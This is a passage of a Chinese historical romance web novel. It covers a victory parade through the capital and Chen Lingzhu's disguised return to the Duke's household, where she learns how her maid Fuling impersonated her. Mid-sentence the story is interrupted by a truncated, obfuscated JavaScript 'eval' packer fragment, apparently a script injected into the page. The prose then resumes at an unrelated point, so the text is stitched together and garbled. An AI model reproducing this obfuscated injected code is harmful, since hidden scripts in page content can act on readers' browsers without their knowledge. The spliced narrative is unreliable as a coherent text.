皇帝在如山似海的欢呼声中稍稍得到一点满足,且李济手中的兵符已经由枢密院官员收回,总算可以略略放心,便笑着下令摆驾至宣德门,凯旋队伍则游街示喜。 游街示喜亦称夸街,便是凯旋队伍在外城的主要街道上进行巡游,向百姓宣告胜利,彰显国威和军功。 此次游街示喜由外城门新封丘门入,途经马行街、州桥、御街中心,随后穿过内城北门,继续沿御街前行,再穿过内城的朱雀门,最后到达宣德门。 先锋开路,李济骑着高头大马,着寒光闪烁的铠甲紧随其后。他的后面,是郑达、张固、顾虎、赵立等战功彪炳的大将。此时,整个京城的百姓几乎倾巢而出,街道两旁早已挤满了迎接凯旋军队的百姓,见众将领出现,鹰扬虎视,威风凛凛,顿时发出雷鸣般的喝彩和欢呼之声,“大将军威武!”、“飞雄军威武!”、“壮哉我大晋!”等欢呼鼓噪声不绝于耳。 精锐部队、战利品车队和俘虏队列过后,是官职较低微,但此次出征亦立下功劳的官员,陈灵珠亦在其中。 她并不怕别人认出她来,除了李济,没有谁有这般火眼金睛。 她笑着看向人群。 以前她只能跟其他的百姓一样在道路两旁欢呼,如今自己也成了被欢迎的人,这种感觉十分奇妙。 情不自禁有些骄傲,她微微昂了昂头。 仗虽不是她打赢的,但她也算出了一分力。 挺直了腰杆,恰李济此时回头看她,以口型问她:“感觉如何?” 她努力不让骄傲溢出言表,只矜持地点点头,以口型回他:“很好。” 李济看得露出微笑,人群顿时爆发出一阵阵欢呼之声。 凯旋队伍行至宣德门,游街示喜结束。李济将领着部分将领继续前行,进行献俘等仪式,之后再带着郑达、张固、顾虎、赵立等游击将军以上将领等随皇帝进宫参加宫宴。而陈灵珠,则与其他中低级将领一同出城,然后先行回到镇国公府。 到了镇国公府大门前,陈灵珠下了马,因还是吴楚仁的模样,不能直接大摇大摆地进府去,她正要让门房通报,却见绿儿迎了出来。 绿儿见了她,面上一喜,问她可是楚大夫,得到确定的答案的后,比了个“请”的手势。 陈灵珠便一路跟着她来到了太夫人的院子。 太夫人、国公夫人都在堂屋,见她来了,面露激动之色,却一时都犹豫着不敢上前相认,因为她们都不确定面前这个到底是不是陈灵珠,毕竟跟“吴楚仁”只见过一次。 陈灵珠见她们踯躅不前,笑着用自己原来的声音朝他们拱了拱手:“太夫人,夫人。” 确定是她,太夫人快走两步,一把将她捞进怀里,声音颤抖道:“好孩子,终于回来了!祖母快要担心坏了!” 陈灵珠给太夫人用帕子拭去眼泪,笑道:“祖母别担心,我这不是好好的嘛。” 太夫人拍着她的手点头道:“好孩子,多亏了你,祖母感激你,镇国公府上上下下都该感谢你。” 陈灵珠笑道:“祖母言重了,我是大夫,也是世子的妻子,我只是做了自己该做的事。” 但太夫人和国公夫人都明白,陈灵珠主动经历这番艰险,并不是一件那么理所当然的“该做的事”,太夫人说得没错,镇国公府上上下下都该感激她。 国公夫人道:“珠儿不必过谦,我们心里都明白。” 陈灵珠称不敢,问些别后的事。 国公夫人道:“你离开之后,我们便将消息传了出去,说你病了。宫里传召过两次,第一次我以你病了为由推掉了,第二次我陪茯苓进的宫。她们见我在旁,且茯苓看上去病得厉害,就让我们回来了。后来就再没有来过人。茯苓乔装得极好,再加上有姜嬷嬷掩护,至今无事。” 之所以大多数人都没有怀疑,其实还跟李济有关。从前他的几个未婚妻不是病了就是摔了,没一个落得好下场,外人便以为这次陈灵珠也是一样,被他“克”着了。 那些原本对陈灵珠又妒又恨的人,这下又有些同情起陈灵珠来,还暗自庆幸自己没有嫁给李济。毕竟性命和爱慕相比,还是性命更重要些。 当然了,也有人怀疑陈灵珠的病不是真病,但他们都没想到陈灵珠是离开了京城,而不是他们猜测的“镇国公府决定要除掉陈家女”。 至于宫中,杨绾柔初时自身难保,顾不上对付她。后来杨绾柔缓过劲来,镇国公府防护得紧,又找不到机会。且国公夫人陪着茯苓进宫时,她见茯苓扮成的陈灵珠脸色惨白,少气乏力,与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾唯安呢,知道自己夫家、娘家的权势都远远比不过镇国公府,也知道如果镇国公府真的要除掉陈灵珠,那自己这样隔日便来看陈灵珠,已经将镇国公府彻底得罪,但她还是不顾丈夫的劝阻,风雨无阻地来了。她心里清楚,她人微言轻,若是镇国公府有心要杀陈灵珠,她就是天天盯着也是无济于事。但心里放心不下,所以明知自己可能在做徒劳之功,还是隔日就来。心里期盼着因为自己的关注,镇国公府会有所顾忌。 国公夫人见她们二人如此,又是无奈,又是恼火,又是感动。 只苦了茯苓,不但要涂得脸色苍白,装得有气无力,还要时不时吃点陈灵珠留给她以备不时之需的药物蒙混过关。 陈灵珠早就知道茯苓留在镇国公府扮成她绝非易事,但着实没想到还有这一节,顿时既感动,又好笑。 她伸出手帮茯苓把了把脉,见她脉搏有力,并没有受到不得已服下的药物的干扰,才放下心来。 能有顾唯安和傅映瑶这样的朋友是她此生之幸,陈灵珠感动不已,恨不能立刻出门去寻她们。然而她装了这么久的病,却不好一下子生龙活虎出现在人前惹人怀疑。便按捺下来,心想过两日休息好了,再与她们见面不迟。